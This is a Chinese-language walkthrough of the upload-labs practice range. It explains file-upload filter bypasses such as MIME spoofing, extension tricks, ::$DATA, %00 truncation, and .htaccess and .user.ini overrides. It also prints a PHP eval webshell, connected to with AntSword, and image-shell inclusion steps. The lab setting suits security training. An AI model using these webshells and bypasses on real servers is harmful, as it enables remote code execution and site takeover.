目录
大佬文章 总结的很好
靶场: upload-labs
Pass-01 js检查
先试着上传一个php文件
将php后缀改成jpg。不成功,看提示
本pass在客户端使用js对不合法图片进行检查!
上传一句话木马,将后缀名改成jpg,然后抓包拦截,重新改为php,实现绕过js验证
<?php @eval($_POST['chopper']);?>
修改,forward放包。这时候我们采用蚁剑连接
连接成功。注意连接地址连得是要查看一下E:\wamp64\www\upload-labs-master\upload这个目录,看看新生成的文件
对源码一些函数的理解
- document.getElementsByName(“name”).value;获取不到值,由于通过Name来获得对象,同一个Name可以对应多个对象(Name不是唯一的),所以它得到的是一个数组,不能够这样简单的获取值。可以通过document.getElementsByName(“name”)[0].value;指定是数组的第一个元素来获取它的值。当然,也可以通过document.getElementById(“id”).value;直接获取值。
- var ext_name = file.substring(file.lastIndexOf("."));--> 获取文件路径的后缀名
- indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。
Pass-02 MIME验证
分析源码可看到,后端PHP代码只对content-type进行了检查 ,也就是说可以直接上传php文件,只需要将content-type改成image/jpeg
那我们抓包,修改content-type
Pass-03 特殊后缀绕过
黑名单绕过:
只针对黑名单中没有的后缀名,文件才能上传成功。
这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传,也禁止了点,空格等,可上传php1、phtml等等
Pass-04 上传.htaccess
这下禁止的更多了,但是没禁止htaccess文件
htaccess文件:
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
htaccess文件内容:
SetHandler application/x-httpd-php
- 设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
- .htaccess文件和一句话木马在同一目录下,然后再上传一个 1.jpg 此时1.jpg 就会被当作 PHP 来执行。
创建.htaccess文件(先用文本文件写,后缀改为htaccess)
<FilesMatch "1.jpg"> //内容为将1.jpg当做php文件解析
SetHandler application/x-httpd-php
</FilesMatch>
构造图片马
<?php @eval($_POST['chopper']);?>
改后缀名
先上传.htaccess,再上传1.jpg,之后蚁剑连接
Pass-05 .ini绕过
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现没有被限制的后缀名有 .php7 以及 .ini
注:.user.ini
类似于.htaccess但是应用范围更广,只要是以fastcgi运行的php都可以用它来动态的局部修改php.ini中的配置
创建一个.user.ini文件
auto_prepend_file=1.jpg //表示所有的php文件都自动包含1.jpg文件
创建图片马,修改后缀名,上传这俩文件,蚁剑连接readme.php
(此时该文件会自动包含1.jpg
)
(上传后需要等5分钟:配置文件时间为300秒)
打开php.in,我们把它修改成5秒
Pass-06 后缀大小写绕过 strtolower()
没有使用strtolower()函数,可以使用大小写绕过黑名单
Pass-07 后缀空格绕过 trim()
没有使用trim()进行首尾去空,可以使用空格绕过黑名单
利用Windows系统的文件名特性。文件名最后增加空格,写成1.php ,上传后保存在Windows系统上的文件名最后的一个空格会被去掉,实际上保存的文件名就是1.php
注:这里要用bp来修改
Pass-08 后缀点绕过deldot()
没有使用deldot()过滤文件名末尾的点
,可以使用文件名后加.进行绕过
Pass-09 ::$DATA绕过
没有对::D A T A 进 行 处 理 ,使用::DATA绕过黑名单
注意:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
抓包修改php,后面加上::$DATA
在服务器里看发现我们最php后面加的::$DATA,在服务器文件重命名是没有当做字符命名,直接去掉了
Pass-10 deldot()函数漏洞
看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
::$DATA不能执行
deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。
使用点空格点绕过
访问这个文件
Pass-11 双写绕过 str_ireplace()
使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
Pass-12 GET中00拦截
为什么不能直接修改后缀名
因为截断的只是后缀名,只能绕过简单的前端验证,到后端碰到上图的代码,在提取上传文件后缀的时候后缀还是.php,肯定会被拦,也就是说这里00截断没有发挥任何“绕过”后端验证的作用。
这里想绕过,必须要知道文件上传的条件:
1.后缀检测,合格则进行上传路径拼接
2.拼接路径和文件名,组成文件上传路径
想使用00截断绕过后端验证,除非两个条件之一:
- 路径拼接像上图的代码一样,直接使用的 $file_name这个文件名,而不是 $file_ext和其他什么东西来拼成一个文件名字,这时文件名中还是包含截断字符的,路径拼好之后可以被截断成想要的.php。
- 文件路径可控,比如我可以修改路径拼接的path时,比如抓到的包中存在path: uploads/,就可以直接把路径构造成uploads/xxx.php%00,先构造一个存在截断字符的后缀“等着”真正的文件名,或者后缀名,因为不管它是啥,都会被截断而丢弃,因为这里已经到了“最后阶段”,不会再有安检过程了,这里截断之后的结果就是最终上传的结果,比如下图中,抓到的包里发现了路径,那么使用上面的方法直接改它,就可以成功上传aa.php文件,不管被处理后的文件名是什么,在这里被截断才是真正的“截断”,因为这是在安检(后缀名校验)之后进行的截断,直接决定真实的文件后缀名。
Pass-13 POST中的00拦截
解法一
可以看出此时是Post提交,发现路径没有处理直接拼接上去,所以利用00截断绕过
使用burpsuite对%00进行解码
解码后
解法二
1、首先编辑一个.php文件,将其上传的同时修改后缀名为.jpg,文件类型修改为:image/jpeg
2、 在这个位置加上234.php+
变成 ../upload/234.php+
然后到到 十六进制 那一栏里找到+
代表的2b
,改成00
Pass14 图片马
源码
分析,该代码对文件头读取头两个字节,并以此判断文件类型。我们可以制作图片马进行上传
制作图片马
生成图片2.jpg
使用bp可以看到上传文件内容
此图片马可以包含文件漏洞的页面中使用
在上传成功后,可以获取到上传文件重新命名的名字
简单新建一个包含文件漏洞的页面include.php
蚁剑连接
http://192.168.17.1/upload-labs-master/upload/include.php?page=3020220211041148.jpg
Pass15
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,成功返回一个数组,如果没有相关的图片文件头,函数会报错
与14关相同
Pass16
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif
模块。
在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号
剩余步骤与14关相同